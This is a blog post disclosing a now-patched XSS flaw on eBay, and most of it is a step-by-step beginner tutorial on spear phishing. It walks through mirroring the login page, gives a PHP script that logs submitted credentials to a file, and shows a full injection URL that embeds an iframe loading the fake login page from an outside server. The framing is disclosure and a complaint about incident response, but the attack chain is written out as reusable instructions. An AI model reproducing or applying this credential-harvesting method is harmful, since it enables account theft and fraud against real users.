A tale of eBay XSS and shoddy incident response

Hello, this blog post will highlight exactly how easy it is to exploit XSS vulnerabilites in large sites, and will also highlight how little these companies actually care (until they run the risk of being publicly exposed). I’ll be keeping this post fairly short, just showing a quick demonstration of how easy it is to exploit things like this. As of writing this blog post, the vulnerability is now patched – but it should be pointed out that I waited a month with no response from eBay, and they only rushed to patch the vulnerability after the media contacted them about it.

Take the following URL:

http://ebay.com/link/?nav=webview&url=javascript:alert(document.cookie)

Screenshot of live URL:

This is a fairly basic vulnerability (no WAF bypass or anything of that sort required) on a site where XSS would generally be considered a huge issue (even moreso since the main domain is involved). It should be noted that while the following URL is crafted to display the document.cookie output, cookies cannot be stolen due to the HttpOnly flag being set.

In the cases of some sites, spear phishing is considered useless (for example if the site does not have a large userbase that requires logins), although in the case of this site, spear phishing has many valid uses – it could be used to steal funds from people, use trusted eBay accounts to scam other users, and more.

First I am going to explain the steps required to setup an authentic looking phishing page, then I am going to apply these steps to eBay to show how easily this can be achieved. Obviously the first step would be to obtain a copy of the website’s source for the login page. You could do this by saving the source code after viewing it manually, but this is time consuming and inefficient, as for the page to look identical you would need to individually download every single image that’s on the page and ensure that they are saved in the correct directories, as well as creating a bunch of relevant directories or altering the paths to images and other pages in the source code. Alternatively you can use some website mirroring software to automate this process, which is what I suggest doing.

The software I suggest using is WebHTTrack, because it is efficient, easy to use, and cross platform. To install it on windows, just download the executable and run it. To install on linux (debian based) use the following commands:

apt-get update
apt-get install webhttrack

 

To install on other distros (such as CentOS/RHEL) just wget/cURL the tarball and unpack it then configure, the following commands can be used:

yum install zlib-devel
wget http://download.httrack.com/cserv.php3?File=httrack.tar.gz -O httrack.tar.gz
tar xvfz httrack.tar.gz
./configure
make && sudo make install

The screenshots below will detail the process required to mirror the site via WebHTTrack (for this demonstration I will be using the web-based client for linux):

This page should launch locally in your browser after running the app

The next step is to choose your project name and set the path to where you want the files to be mirrored

After this, its just a case of inputting the URL to the page you want to mirror. There are also some other additional options you can select, but the default options will work fine.

After this, the mirroring process will begin. If all goes well, you should have all of the files for the page you specified, downloaded to the directory that you specified:

After this, you need to change the form inputs for the page (for the login form) to send data to your PHP script (more on this soon), rather than a login script that is part of eBay:

Use a text editor to search for the form tag within the HTML source for the login page, and change the action= attribute to point to the name of your PHP script. After this you’ll want to upload the relevant files to your site (presumably in the /var/www/html directory). To do this I suggest using an FTP/SFTP client such as FileZilla.

Once you’ve got the files uploaded to the relevant directory, its time to make the PHP script (obviously you’ll need PHP installed alongside your HTTP daemon for this), here is the script I used:

root@MLT:/var/www/html/ebay/signin.ebay.com/ws# cat log.php
<?php

file_put_contents(“log.txt”, $_GET[‘1383430133’].”:”.$_GET[‘1794992350’].PHP_EOL,FILE_APPEND);

die(header(‘Location: http://ebay.com/&#8217;));
?>

If you’re modifying this for another site, you’ll need to change the GET inputs to match those relevant to the site in question.

Next, you’ll have to ensure that the permissions are correctly setup so that you can write to your logfile (log.txt), the following command can be used:

chmod +x log.txt

After this, you can test it locally on your site by loading the login form and entering a username and password, then checking log.txt to see if it writes to it as expected.

The next step is to include the link to your phishing page within the context of the vulnerable site. In the example of ebay, the XSS vulnerability was not tag-based but was rather pure javascript, so rather than including an iframe directly as input to the ?url= get param, the javascript document.write function needed to be used to write the HTML contents to the page and embed the iframe.

In the case of ebay, the iframe containing my phishing page was injected to the page using the following payload:

document.write(‘<iframe src=”http://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html&#8221; width=”1500″ height=”1000″>’)

further obfuscation could be used, for example urlencoding the remote URL and adding FRAMEBORDER=”0″ attribute to the iframe to remove the border of the frame, but for the purposes of demonstrating this vulnerability the above payload will work fine.

Here is the full URL at time of injection:

http://ebay.com/link/?nav=webview&url=javascript:document.write%28%27%3Ciframe%20src=%22http://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html%22%20width=%221500%22%20height=%221000%22%3E%27%29

and here is a screenshot of the live URL:

After the user credentials are entered on the phishing page that appears to be part of ebay.com, a GET request is made to log.php on my server and the inputs are written to log.txt available for me to read in plaintext.

Here is a video proof of concept, demonstrating the vulnerability in real-time:

This post was intended for beginners to give them an understanding of what steps are required to setup a phishing page to be used for spear phishing. I will update this post later with my correspondance with ebay, to give anyone who’s reading this an idea of how you should not handle security incidents relating to your site.

My next blog post will cover some of the more advanced phishing techniques, such as how to properly obfuscate a spear phishing attack, and an explanation of methods such as bitsquatting and IDN homograph attacks.

That’s all for now

M.